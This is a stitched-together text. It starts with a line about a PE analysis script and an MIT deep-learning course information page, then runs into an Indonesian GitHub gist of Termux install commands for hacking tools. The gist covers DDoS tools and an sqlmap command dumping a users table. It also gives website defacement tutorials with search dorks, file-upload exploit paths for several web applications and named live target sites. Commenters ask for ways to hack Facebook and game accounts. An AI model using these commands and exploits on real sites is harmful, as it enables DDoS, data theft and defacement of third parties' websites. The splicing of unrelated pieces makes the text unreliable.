IATelligence is a Python script that will extract the IAT of a PE file and request GPT to get more information about the API and the ATT&CK matrix related

MIT Introduction to Deep Learning (6.S191) Instructors: Alexander Amini and Ava Soleimany Course Information Summary Prerequisites Schedule Lectures Labs, Final Projects, Grading, and Prizes Software labs Gather.Town lab + Office Hour sessions Final project Paper Review Project Proposal Presentation Project Proposal Grading Rubric Past Project Proposal Ideas Awards + Categories Important Links and Emails Course Information Summary MIT's introductory course on deep learning methods with applications to computer vision, natural language processing, biology, and more! Students will gain foundational knowledge of deep learning algorithms and get practical experience in building neural networks in TensorFlow. Course concludes with a project proposal competition with feedback from staff and a panel of industry sponsors. Prerequisites We expect basic knowledge of calculus (e.g., taking derivatives), linear algebra (e.g., matrix multiplication), and probability (e.g., Bayes theorem) -- we'll try to explain everything else along the way! Experience in Python is helpful but not necessary. This class is taught during MIT's IAP term by current MIT PhD researchers. Listeners are welcome! Schedule Monday Jan 18, 2021 Lecture: Introduction to Deep Learning and NNs Lab: Lab 1A Tensorflow and building NNs from scratch Tuesday Jan 19, 2021 Lecture: Deep Sequence Modelling Lab: Lab 1B Music Generation using RNNs Wednesday Jan 20, 2021 Lecture: Deep Computer Vision Lab: Lab 2A Image classification and detection Thursday Jan 21, 2021 Lecture: Deep Generative Modelling Lab: Lab 2B Debiasing facial recognition systems Friday Jan 22, 2021 Lecture: Deep Reinforcement Learning Lab: Lab 3 pixel-to-control planning Monday Jan 25, 2021 Lecture: Limitations and New Frontiers Lab: Lab 3 continued Tuesday Jan 26, 2021 Lecture (part 1): Evidential Deep Learning Lecture (part 2): Bias and Fairness Lab: Work on final assignments Lab competition entries due at 11:59pm ET on Canvas! Lab 1, Lab 2, and Lab 3 Wednesday Jan 27, 2021 Lecture (part 1): Nigel Duffy, Ernst & Young Lecture (part 2): Kate Saenko, Boston University and MIT-IBM Watson AI Lab Lab: Work on final assignments Assignments due: Sign up for Final Project Competition Thursday Jan 28, 2021 Lecture (part 1): Sanja Fidler, U. Toronto, Vector Institute, and NVIDIA Lecture (part 2): Katherine Chou, Google Lab: Work on final assignments Assignments due: 1 page paper review (if applicable) Friday Jan 29, 2021 Lecture: Student project pitch competition Lab: Awards ceremony and prize giveaway Assignments due: Project proposals (if applicable) Lectures Lectures will be held starting at 1:00pm ET from Jan 18 - Jan 29 2021, Monday through Friday, virtually through Zoom. Current MIT students, faculty, postdocs, researchers, staff, etc. will be able to access the lectures during this two week period, synchronously or asynchronously, via the MIT Canvas course webpage (MIT internal only). Lecture recordings will be uploaded to the Canvas as soon as possible; students are not required to attend any lectures synchronously. Please see the Canvas for details on Zoom links. The public edition of the course will only be made available after completion of the MIT course. Labs, Final Projects, Grading, and Prizes Course will be graded during MIT IAP for 6 units under P/D/F grading. Receiving a passing grade requires completion of each software lab project (through honor code, with submission required to enter lab competitions), a final project proposal/presentation or written review of a deep learning paper (submission required), and attendance/lecture viewing (through honor code). Submission of a written report or presentation of a project proposal will ensure a passing grade. MIT students will be eligible for prizes and awards as part of the class competitions. There will be two parts to the competitions: (1) software labs and (2) final projects. More information is provided below. Winners will be announced on the last day of class, with thousands of dollars of prizes being given away! Software labs There are three TensorFlow software lab exercises for the course, designed as iPython notebooks hosted in Google Colab. Software labs can be found on GitHub: https://github.com/aamini/introtodeeplearning. These are self-paced exercises and are designed to help you gain practical experience implementing neural networks in TensorFlow. For registered MIT students, submission of lab materials is not necessary to get credit for the course or to pass the course. At the end of each software lab there will be task-associated materials to submit (along with instructions) for entry into the competitions, open to MIT students and affiliates during the IAP offering. This includes MIT students/affiliates who are taking the class as listeners -- you are eligible! These instructions are provided at the end of each of the labs. Completing these tasks and submitting your materials to Canvas will enter you into a per-lab competition. MIT students and affiliates will be eligible for prizes during the IAP offering; at the end of the course, prize-winners will be awarded with their prizes. All competition submissions are due on January 26 at 11:59pm ET to Canvas. For the software lab competitions, submissions will be judged on the basis of the following criteria: Strength and quality of final results (lab dependent) Soundness of implementation and approach Thoroughness and quality of provided descriptions and figures Gather.Town lab + Office Hour sessions After each day’s lecture, there will be open Office Hours in the class GatherTown, up until 3pm ET. An MIT email is required to log in and join the GatherTown. During these sessions, there will not be a walk through or dictation of the labs; the labs are designed to be self-paced and to be worked on on your own time. The GatherTown sessions will be hosted by course staff and are held so you can: Ask questions on course lectures, labs, logistics, project, or anything else; Work on the labs in the presence of classmates/TAs/instructors; Meet classmates to find groups for the final project; Group work time for the final project; Bring the class community together. Final project To satisfy the final project requirement for this course, students will have two options: (1) write a 1 page paper review (single-spaced) on a recent deep learning paper of your choice or (2) participate and present in the project proposal pitch competition. The 1 page paper review option is straightforward, we propose some papers within this document to help you get started, and you can satisfy a passing grade with this option -- you will not be eligible for the grand prizes. On the other hand, participation in the project proposal pitch competition will equivalently satisfy your course requirements but additionally make you eligible for the grand prizes. See the section below for more details and requirements for each of these options. Paper Review Students may satisfy the final project requirement by reading and reviewing a recent deep learning paper of their choosing. In the written review, students should provide both: 1) a description of the problem, technical approach, and results of the paper; 2) critical analysis and exposition of the limitations of the work and opportunities for future work. Reviews should be submitted on Canvas by Thursday Jan 28, 2021, 11:59:59pm Eastern Time (ET). Just a few paper options to consider... https://papers.nips.cc/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf https://papers.nips.cc/paper/2018/file/69386f6bb1dfed68692a24c8686939b9-Paper.pdf https://papers.nips.cc/paper/2020/file/1457c0d6bfcb4967418bfb8ac142f64a-Paper.pdf https://science.sciencemag.org/content/362/6419/1140 https://papers.nips.cc/paper/2018/file/0e64a7b00c83e3d22ce6b3acf2c582b6-Paper.pdf https://arxiv.org/pdf/1906.11829.pdf https://www.nature.com/articles/s42256-020-00237-3 https://pubmed.ncbi.nlm.nih.gov/32084340/ Project Proposal Presentation Keyword: proposal This is a 2 week course so we do not require results or working implementations! However, to win the top prizes, nice, clear results and implementations will demonstrate feasibility of your proposal which is something we look for! Logistics -- please read! You must sign up to present before 11:59:59pm Eastern Time (ET) on Wednesday Jan 27, 2021 Slides must be in a Google Slide before 11:59:59pm Eastern Time (ET) on Thursday Jan 28, 2021 Project groups can be between 1 and 5 people Listeners welcome To be eligible for a prize you must have at least 1 registered MIT student in your group Each participant will only be allowed to be in one group and present one project pitch Synchronous attendance on 1/29/21 is required to make the project pitch! 3 min presentation on your idea (we will be very strict with the time limits) Prizes! (see below) Sign up to Present here: by 11:59pm ET on Wednesday Jan 27 Once you sign up, make your slide in the following Google Slides; submit by midnight on Thursday Jan 28. Please specify the project group # on your slides!!! Things to Consider This doesn’t have to be a new deep learning method. It can just be an interesting application that you apply some existing deep learning method to. What problem are you solving? Are there use cases/applications? Why do you think deep learning methods might be suited to this task? How have people done it before? Is it a new task? If so, what are similar tasks that people have worked on? In what aspects have they succeeded or failed? What is your method of solving this problem? What type of model + architecture would you use? Why? What is the data for this task? Do you need to make a dataset or is there one publicly available? What are the characteristics of the data? Is it sparse, messy, imbalanced? How would you deal with that? Project Proposal Grading Rubric Project proposals will be evaluated by a panel of judges on the basis of the following three criteria: 1) novelty and impact; 2) technical soundness, feasibility, and organization, including quality of any presented results; 3) clarity and presentation. Each judge will award a score from 1 (lowest) to 5 (highest) for each of the criteria; the average score from each judge across these criteria will then be averaged with that of the other judges to provide the final score. The proposals with the highest final scores will be selected for prizes. Here are the guidelines for the criteria: Novelty and impact: encompasses the potential impact of the project idea, its novelty with respect to existing approaches. Why does the proposed work matter? What problem(s) does it solve? Why are these problems important? Technical soundness, feasibility, and organization: encompasses all technical aspects of the proposal. Do the proposed methodology and architecture make sense? Is the architecture the best suited for the proposed problem? Is deep learning the best approach for the problem? How realistic is it to implement the idea? Was there any implementation of the method? If results and data are presented, we will evaluate the strength of the results/data. Clarity and presentation: encompasses the delivery and quality of the presentation itself. Is the talk well organized? Are the slides aesthetically compelling? Is there a clear, well-delivered narrative? Are the problem and proposed method clearly presented? Past Project Proposal Ideas Recipe Generation with RNNs Can we compress videos with CNN + RNN? Music Generation with RNNs Style Transfer Applied to X GAN’s on a new modality Summarizing text/news articles Combining news articles about similar events Code or spec generation Multimodal speech → handwriting Generate handwriting based on keywords (i.e. cursive, slanted, neat) Predicting stock market trends Show language learners articles or videos at their level Transfer of writing style Chemical Synthesis with Recurrent Neural networks Transfer learning to learn something in a domain for which it’s hard or risky to gather data or do training RNNs to model some type of time series data Computer vision to coach sports players Computer vision system for safety brakes or warnings Use IBM Watson API to get the sentiment of your Facebook newsfeed Deep learning webcam to give wifi-access to friends or improve video chat in some way Domain-specific chatbot to help you perform a specific task Detect whether a signature is fraudulent Awards + Categories Final Project Awards: 1x NVIDIA RTX 3080 4x Google Home Max 3x Display Monitors Software Lab Awards: Bose headphones (Lab 1) Display monitor (Lab 2) Bebop drone (Lab 3) Important Links and Emails Course website: http://introtodeeplearning.com Course staff: introtodeeplearning-staff@mit.edu Piazza forum (MIT only): https://piazza.com/mit/spring2021/6s191 Canvas (MIT only): https://canvas.mit.edu/courses/8291 Software lab repository: https://github.com/aamini/introtodeeplearning Lab/office hour sessions (MIT only): https://gather.town/app/56toTnlBrsKCyFgj/MITDeepLearning

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Torshammer $ pkg update $ pkg install git $ apt install tor $ pkg install python2 $ git clone https://github.com/dotfighter/torshammer.git $ ls $ cd torshammer $ python2 torshammer.py 4. liteDDOS $ apt update $ apt upgrade $ pkg install git $ pkg install python2 $ git clone https://github.com/4L13199/LITEDDOS $ cd LITEDDOS $ python2 liteDDOS.py RED_HAWK tool $ apt update $ apt install git $ git clone https://github.com/Tuhinshubhra/RED_HAWK $ cd RED_HAWK $ chmod +x rhawk.php $ apt install php $ ls $ php rhawk.php ‌```Install webdav ``` $ apt update && upgrade $ apt install python2 $ pip2 install urllib3 chardet certifi idna requests $ apt install openssl curl $ pkg install libcurl $ ln -s /sdcard $ cd sdcard $ mkdir webdav $ cd webdav ‌Tutorial Install *Tools-B4J1N64Nv5* pkg install update pkg install git pkg install toilet pkg install figlet pip2 install lolcat git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5 cd B4J1N64Nv5 sh B4J1N64N.sh ‌cara install termux ubuntu - apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone https://github.com/Neo-Oli/termux-ubuntu - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh Cara install github tembak XL Dari awal 1.pkg upgrade 2.pkg update 3.pkg install git 4.pkg install python 5.git clone https://github.com/albertoanggi/xl-py 6.pip install -r requirements.txt 7.chmod +x app.py 8.python/python2 app.py *Install admin finder in termux* $ apt update && apt upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/AdheBolo/AdminFinder *Menjalankan* $ ls $ cd AdminFinder $ chmod 777 AdminFinder.py $ python2 AdminFinder.py *Cara install tool Mr.Rv1.1* $apt update && apt upgrade $pkg install git $pkg install gem $pkg install figlet $gem install lolcat $git clone https://github.com/Mr-R225/Mr.Rv1.1 $cd Mr.Rv1.1 $sh Mr.Rv1.1.sh tool install $ apt update && apt upgrade $ apt install git $ git clone https://github.com/aryanrtm/4wsectools cd 4wsectools chmod 777 tools ./tools TOOL FSOCIETY $ git clone https://github.com/manisso/fsociety $ cd fsociety $ ./install.sh $ ls $ python2 fsociety.py SQLMAP apt update apt install python apt install python2 apt install git git clone https://github.com/sqlmapproject/sqlmap https://github.com/sqlmapproject/sqlmap.git cd sqlmap Python2 sqlmap.py Exemplo Python2 sqlmap.py -u website –dbs -D acuart –tables -D acuart -T users –columns -D acuart -T users -C name,email,phone -dump BUSCA PAINEL ADM DE SITE pkg install git git clone https://github.com/Techzindia/admin_penal cd admin_penal chmod +x admin_panel_finder.py python2 admin_panel_finder.py HAKKU apt install pytho apt install git mkdir vasu git clone https://github.com/4shadoww/hakkuframework cd hakkuframework chmod +x hakku python hakku show modules use whois show options set target examplesite.com run TOOL D-TECT apt update apt install git git clone https://github.com/shawarkhanethicalhacker/D-TECT cd D-TECT apt install python2 chmod +x d-tect.py python2 d-tect.py examplesite.com viSQL apt update apt install python2 apt install git git clone https://github.com/blackvkng/viSQL cd viSQL python2 -m pip install -r requirements.txt python2 viSQL.py python2 viSQL.py -t http://www.bible-history.com Hash Buster apt update apt upgrade apt install python2 apt install git git clone https://github.com/UltimateHackers/Hash-Buster cd Hash-Buster python2 hash.py tool ubuntu $ apt update $ apt install git $ apt install wget $ apt install proot $ git clone https://github.com/Neo-Oli/termux-ubu&#8230; $ cd termux-ubuntu $ chmod +x ubuntu.sh $ ./ubuntu.sh $ ./start.sh (````Install``` *Hunner framework*) $ apt update $ apt install python $ apt install git -y $ git clone https://github.com/b3-v3r/Hunner $ cd Hunner $ chmod 777 hunner.py $ python hunner.py *Cara Install Lazymux di Termux* $ pkg update && upgrade $ pkg install python2 $ pkg install git $ git clone https://github.com/Gameye98/Lazymux $ cd Lazymux $ chmod +x lazymux.py $ python2 lazymux.py Cara install tools daijobu* Fungsinya nanti liat sendiri lah di dalem tools nya $apt upgrade && apt update $apt install php $apt install git Kalo udah selesai langsung masukan git nya dengan perintah $git clone https://github.com/alintamvanz/diejoubu $cd diejoubu $cd v1.2 $php diejoubu.php Hecker RECONDOG apt update apt install python python2 apt install git git clone https://github.com/UltimateHackers/ReconDog cd ReconDog chmod +x dog.py Python2 dog.py DEFACE Hacking Script-Deface $apt update $apt upgrade $apt install git $apt install python2 $git clone https://github.com/Ubaii/script-deface-creator $ls $cd script-deface-creator $ls $chmod +x create.py $ls $python2 create.py done semoga bisa bikin script Html CARA DEFACE Cara1 Siapkan script sendiri.. 1.buka browser kalian apa saja terserah lalu ke google 2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search 3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditordialog.aspx) tanpa buka tutup kurung! E http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditordialog.aspx 4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian 5.klik yang di bawah nya tunggu sampai loading selesai 6.tambah link target tadi dengan (/files) contoh http://sitetarget*org/files/namascriptdefacekalian.html lalu klik search 7.selesai!! Cara2 Method/metode KCFinder Inurl:/kcfinder/browse.php Inurl:/Kcfinder/ Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html Contoh: https://basukiwater.com/kcfinder/browse.php jadi https://basukiwater.com/file/namasckamu.html cara3 Deface Onion.to File Upload Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb hehehe... Mari kita Lanjut... Dork : - inurl:/upload site:.onion.to - intext:"Upload" site:.onion.to Live : https://tt3j2x4k5ycaa5zt.onion.to/upload.php Step By Step : 1. Dorking Dulu 2. Pilih Web Target 3. Pilih File yang mau di'upload 4. Tinggal klik Upload => Done 😆 Contoh Target : https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html https://danwin1210.me/uploads/lopeyou.html https://temp.xn--wda.fr/e719x8JgJ.html Mirror?! 😆 https://www.defacer.id/296011.html https://www.defacer.id/296024.html cara4 Metode com media Bahan : 1. Dork : - inurl:com_media site:com - inurl:com_media intext:"Upload" 2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 3. Upload'an : Format .txt 😁 Live Target : http://www.james-insurance.co.uk/ Step by Step : gunakan Live Targert dulu untuk Uji Coba 😁 1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk 2. Pilih salah satu Web 3. Masukkan Exploit http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder= 4. Lalu Upload file dalam tempat upload ( format .txt ) Akses shell ? Tambahkan : /images/namafile.txt contoh : http://www.james-insurance.co.uk/images/fac.txt Nanti Jadi Gini Hasilnyaa.. Mudah Bukan?! Tinggal Upload ke Defacer.id 😁 cara5 [POC] Vulnerability Simplicity Of Upload #Step 1: Dork: “Powered By: © Simplicity oF Upload” #Step 2: Exploit: http://[situstargetkamu]/PATH/upload.php *Tergantung dengan target. #Step 3: llowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html) #Step 4: Preview: http://[situstargetkamu]/upload/[Your File] #Step 5: Live Demo: http://www.railfaneurope.net/pix/upload.php http://www.formplas.com/upload/upload.php Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya. Al in one crip termux $ apt update && apt upgrade $ pkg install php figlet ruby python python2 $ pip2 install lolcat $ git clone https://github.com/Rusmana-ID/rus $ cd $ cd rus $ ls $ sh v2.sh Kontak wa 083879017166 Note: user name:Rusmana Pasword:X-One Load earlier comments... husniawati commented on 3 Dec 2020 Gak bisa bang apa harus membuat file dulu atau gmn semua udah aku ikutin tapi gak bisa bisa Ruok2588 commented on 9 Dec 2020 Taiklah sya01019 commented on 12 Dec 2020 Percuma, , Ini siapa punya blog kayak babi sya01019 commented on 12 Dec 2020 Tampilan aja beda Rasa garam marco97-web commented on 22 Dec 2020 Password.a ga bisa bang Ilham619 commented on 12 Jan 2021 Bang kasih tau cara ambil akun free fire Reyhan720z commented on 13 Feb 2021 Bg sc fb nya gk work azuhry commented on 5 Mar 2021 gak ada yang work 😎 gue bisa Ilham619 commented on 5 Mar 2021 Kode termux untuk hack FB APA Pada tanggal Jum, 5 Mar 2021 01.47, azuhry <notifications@github.com> menulis: … ***@***.**** commented on this gist. ------------------------------ gak ada yang work 😎 gue bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3653833>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/ASNZOIQMA54PE3PD5QJV5LLTB7BRLANCNFSM4NBI2DHA> . MR-Bm13 commented on 15 Mar 2021 BULLSHIT LOP 28februari2005 commented on 11 May 2021 Work 100% hmm 🤔🤔🤔 28februari2005 commented on 11 May 2021 Bener work Ya dicoba 🤐🤐🤐 28februari2005 commented on 11 May 2021 Coba aja dulu baru komen jalilcy commented on 25 May 2021 Bang bisa minta tolong. Ajarkan buat hack fb. Sy ingin mengambil fb sya kena hack kazharalyu commented on 6 Jun 2021 Ada yang bisa ada yang gak bisa jalilcy commented on 6 Jun 2021 Saya ingin mengambil kembali akun facebook aku bang di hack orang Pada tanggal Min, 6 Jun 2021 18:55, kazharalyu ***@***.***> menulis: … ***@***.**** commented on this gist. ------------------------------ Ada yang bisa ada yang gak bisa — You are receiving this because you commented. Reply to this email directly, view it on GitHub <https://gist.github.com/8d49c6cc91e3ecfcdc8c91d8abdd7450#gistcomment-3770432>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AUGJUNGESYA6BKWK3RCP7V3TRNH35ANCNFSM4NBI2DHA> . wanted21 commented on 15 Jun 2021 Scrip whatsheck udh ngga bisa ya gan Cloning224 commented on 18 Jun 2021 Ada yg bisa hack akun highs Domino disini, tolong bantu saya. Saya barusan jadi korban Screenshot_2021-06-18-17-52-31-124_com higgs domino mrsimple15 commented on 24 Jun 2021 bang buatin script untuk hack cip domino tanpa pishing akun orang Muhdaghol12 commented on 1 Jul 2021 `` YudhaSaputra11 commented on 27 Jul 2021 bang yang hack wa habis ituu diapain? ardyan212 commented on 7 Nov 2021 Keren bang tools termuxnya https://www.jopamungkas.com aceptt commented on 7 Nov 2021 Mantap sehat selalu bang,top banget boyaniyan commented on 21 Nov 2021 Mantap D4K0TCH4N commented on 11 Feb Gajelas AhmadTaslimfebriyan00 commented on 28 Mar Bang cara pertama kok sering gagal bang Spilis1 commented on 18 May Ada yg bisa by pass Gmail dan ymail BLACKSTARzero commented on 31 May buat yg baru gabung di termux Ini scrft lama gk usah di ikuti MATUN091 commented on 8 Jun Iya cok ini scift lama gak usah di ikutin abssbsjhsjaj commented 18 days ago wkkwwk sc kintil kurang update Leave a comment Footer © 2022 GitHub, Inc. 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